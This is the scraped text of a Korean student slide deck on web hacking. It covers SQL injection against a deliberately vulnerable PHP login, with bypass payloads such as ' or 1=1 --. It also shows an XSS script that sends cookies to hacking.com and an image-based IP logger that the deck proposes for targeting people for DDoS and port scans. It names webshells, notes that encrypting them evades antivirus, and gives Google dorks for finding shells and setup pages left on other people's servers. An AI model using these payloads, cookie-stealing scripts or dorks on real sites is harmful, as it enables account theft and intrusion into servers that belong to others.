장태진 - 웹해킹의 모든 것 (2014y10m30d)

Post on 15-Aug-2015

343 Views

Category:

Software

5 Downloads

Preview:

Click to see full reader

TRANSCRIPT

한국디지털미디어고등학교, TeamPure, JT JSOFT 장태진

WEB Hacking

해킹의 종류

웹해킹

네트워크 해킹

시스템(OS)해킹

웹해킹 기법

SQL INJECTION

HTML INJECTION

HEADER INJECTION

Cross Site Scripting

웹해킹 기법

업로드 취약점

다운로드 취약점

INJECTION

나는 사람입니다.

나는 잘생긴 사람입니다.

INJECTION

INJECTION

INJECTION

SQL INJECTION

데이터베이스데이터의 집합

테이블

필드

1학년

3반 6반 9반

양식( 번호, 이름, 사진 )

Select문법 : Select 필드명 또는 별(*) from 테이블명 where 조건

예문 : Select user_id from accounts where user_name='장태진';

<?$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$sql = “Select user_id from accounts where user_name=\”장태진\””;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[user_id];?>

test

SQL INJECTION<?

$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$id = $_GET ['id'];$pw = $_GET ['pw'];

$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];?>

ID = testidPW = testpw

http://example.co.kr/test.php?id=testid&pw=testpw

출력 : 980414-1******

SQL INJECTION<?

$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$id = $_GET ['id'];$pw = $_GET ['pw'];

$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];?>

ID = adminPW = admin

http://example.co.kr/test.php?id=admin&pw=admin

출력 : [출력값 없음]

SQL INJECTION<?

$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);

$id = $_GET ['id'];$pw = $_GET ['pw'];

$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];?>

ID = admin' --PW = 아무거나

SQL INJECTION

Select jumin from accounts where id='$id' and pw='$pw';

Select jumin from accounts where id='admin' -- ' and pw = 'admin';

Select jumin from accounts where id='admin' -- ' and pw = 'admin';

Select jumin from accounts where id='admin';

SQL INJECTION기본 패턴

주민번호 출력 주민번호 출력 SQL SQL 질의문질의문Select jumin from accounts where id='$id' and pw='$pw';

$id$id값값

' or 1 = 1 –-

' or '1' = '1

아이디' –-

1' or '1' like '1' –-

SQL Injection SQL Injection 공격 패턴의 특징공격 패턴의 특징

1. 뛰어쓰기가 들어간다.

2. 특수문자 따옴표 “ ' ” 가 들어간다.

따옴표따옴표, , 뛰어쓰기 막기뛰어쓰기 막기

$user_id = “admin' or 1=1 --”; // 공격우회패턴

$sql = “Select jumin from accounts where user_id='$user_id';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];

따옴표따옴표, , 뛰어쓰기 막기뛰어쓰기 막기

$user_id = “admin' or 1=1 --”; // 공격우회패턴

$user_id = str_replace(“'”, “&#”.ord(“'”).”;”, $user_id);$user_id = str_replace(“ “, “&nbsp;”, $user_id);

/* admin&#39;&#nbsp;or&#nbsp;1=1&#nbsp;-- */$sql = “Select jumin from accounts where user_id='$user_id';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);

ECHO $row[jumin];

방금 전 소스로도 불안하다면방금 전 소스로도 불안하다면??

function replace_ascii($str) {

$text=$str; $text2=""; for($i=0;$i<str len($text);$i+ + ) {

if(33<=ord($text[$i])&&ord($text[$i])<=47) $text2.="&#".ord($text[$i]).";"; else if(58<=ord($text[$i])&&ord($text[$i])<=64) $text2.="&#".ord($text[$i]).";"; else if(91<=ord($text[$i])&&ord($text[$i])<=96) $text2.="&#".ord($text[$i]).";"; else if(123<=ord($text[$i])&&ord($text[$i])<=126)

$text2.="&#".ord($text[$i]).";"; else $text2.=$text[$i];

} $str=$text2;

$str=str_replace(" ","&nbsp;",$str); return $str; }

A-Z, a-z, 0-9를 제외하고 아스키코드가 33이상, 126이하인 모든 문자 아스키코드로!

HTML InjectionHTML Injection

Cross Site Scripting

→ CSS

→ XSS

HTML INJECT IONHTML INJECT ION

<html>

<head></head>

<body>

<div>나는 사람입니다.</div>

</body>

</html>

HTML INJECT IONHTML INJECT ION

<html>

<head></head>

<body>

<div>나는 잘생긴사람입니다.</div>

</body>

</html>

HTML INJECT IONHTML INJECT ION

<scr ipt>

var aaa = “<?=$_GET ['q'];?>”;

alert(aaa);

</scr ipt>

HTML INJECT IONHTML INJECT ION

<script> var aaa = “”; location.href =”http://www.jtjsoft.com”; alert(aaa);</scr ipt>

HTML INJECT IONHTML INJECT ION

HTML INJECT IONHTML INJECT ION

쿠키/세션 탈취

페이지 이동

알림창

HTML INJECT IONHTML INJECT ION

JS에 도움

페이지 변조

훼이크

HTML INJECT IONHTML INJECT ION

JS에서 하지 못하는 부분

정보 저장

훼이크

HTML INJECT ION - JSHTML INJECT ION - JS

document.cookieSession 아이디아이디패스워드주민번호이름집 주소

HTML INJECT ION - JSHTML INJECT ION - JS

location.href = “”URL이동 - 개인정보공개 URL - 로그아웃 URL - 블로그 폐쇠 URL - 피싱사이트 (복제사이트)URL - 카페탈퇴 URL - 게시물 추천버튼 URL

HTML INJECT ION - JSHTML INJECT ION - JS

alert(“메세지”);

피싱사이트로 이동할때 도움

사용자를 불안하게 함

HTML INJECT ION - HTMLHTML INJECT ION - HTML

Javascr ipt 에 도움<<Javascript 필터링 우회>>

- <pre></pre> - <textarea></textarea> - <input value=””>

HTML INJECT ION - HTMLHTML INJECT ION - HTML

사이트 변조< 사례 >

- 네이트온 http://<script>- 웹하드 금칙어 우회

HTML INJECT ION - HTMLHTML INJECT ION - HTML

훼이크 - 정보숨기기

- 가짜 정보 보여주기

- 가짜 입력창 만들기

HTML INJECT ION - PHPHTML INJECT ION - PHP

Javascr ipt 가 못하는 일 < 사례 >

- IMG Header, 정보저장

HTML INJECT ION - PHPHTML INJECT ION - PHP

서버에 정보 저장

XSS XSS 활용 활용 - 1- 1<div>

<pre>게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물

내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용</pre></div>

XSS XSS 활용 활용 - 1- 1

<div><pre>

</pre><script>Var cookie = document.cookie;location.href=(“http://hacking.com/save.php?cookie=” + cookie);

</scr ipt><pre>

</pre></div>

XSS XSS 활용 활용 - 1- 1

사용자 이름사용자 아이디사용자 아이피사용자 주민번호

XSS XSS 활용 활용 - 1- 1

User Hacker

XSSXSS활용 활용 -2 … PHP-2 … PHP

<?// e.f. 127.0.0.1$ip = $_SERVER['REMOT E_ADDR'];

$f = fopen(“./ipip.txt”, “a”); // ipip.txt 생성/글쓰기

fwrite($f, $ip.”\n”); // e.f. 127.0.0.1\n

fclose($f); // 파일 닫기?>

http://hacking.kr/ipget.php

XSSXSS활용 활용 -2 … HTML-2 … HTML

<div><pre>

</pre>

<img src=”http://hacking.kr/ipget.php”/><pre>

</pre></div>

XSSXSS활용 활용 -2-2

XSSXSS활용 활용 -2-2

Ipip.txt127.0.12.1127.123.2.1127.0.220.12127.23.50.11127.103.0.14127.0.60.15127.20.0.134127.10.50.177127.1.0.12127.0.40.133127.110.0.13127.0.30.112127.140.0.19127.0.2.187127.0.120.10127.120.230.144127.0.10.132127.20.20.13

XSSXSS활용 활용 -3 … PHP-3 … PHP

<?Header(“Content-T ype: image/png”);$ip = $_SERVER['REMOT E_ADDR'];

$f = fopen(“./ipip.txt”, “a”); // ipip.txt 생성/글쓰기

fwrite($f, $ip.”\n”); // e.f. 127.0.0.1\nfclose($f); // 파일 닫기

$f = fopen(“./a.png”, “r”); // a.png 생성/글쓰기ECHO fread($f, filesize(“./a.png”)); // 이미지

fclose($f); // 파일 닫기?>

http://hacking.kr/ipget.php

XSSXSS활용 활용 -3-3

Ipip.txt127.0.12.1127.123.2.1127.0.220.12127.23.50.11127.103.0.14127.0.60.15127.20.0.134127.10.50.177127.1.0.12127.0.40.133127.110.0.13127.0.30.112127.140.0.19127.0.2.187127.0.120.10127.120.230.144127.0.10.132127.20.20.13

IP만 가져와서 뭐하냐고?

● 좋은예 :

자신의 블로그/카페의 방문자 확인

● 나쁜예 :

특정한 사람을 도발하는 글을 쓴 후 타겟들이 게시물을 보았을 때 아이피를 저장

→ D-DoS

→ 포트스캔 후 취약한 포트들 분석

→ 웹해킹

→ 시스템해킹

업로드 취약점

웹 쉘

웹 쉘

r57 shell

C99 shell

AJAX Webshell

Wso

0

ITSEC

PHPSpy

PHPshell

평문소스 → 바이러스로 탐지하여 백신에서 삭제시킴

암호화된 소스 → 백신/웹쉘탐지 우회

올릴 수 있는 곳 올릴 수 있는 곳

이미지 업로드 부분

파일 업로드 부분

SQL INJECT ION 부분

구글링으로얻어먹기

./scr ipts/setup.php

Google SearchGoogle Search

site:*/scr ipts/setup.php

1 행 2 행 3 행 4 행

0

2

4

6

8

10

12

1 열

2 열

3 열

망할!구글링하여 나온 50개의 사이트 모두 안되요!

기냥 업로드된 웹쉘을 찾자!

site:*/*/c99.php

site:*/*/webshell.php

site:*/*/r57shell.php

이것들을 이용하여 할 수 있는 일

끝 날 시 간 ㅜ

죄송합니다. 고마워요!

선물을 하나 준비했어요.

저를 깔 수 있는 시간입니다.

QNA

top related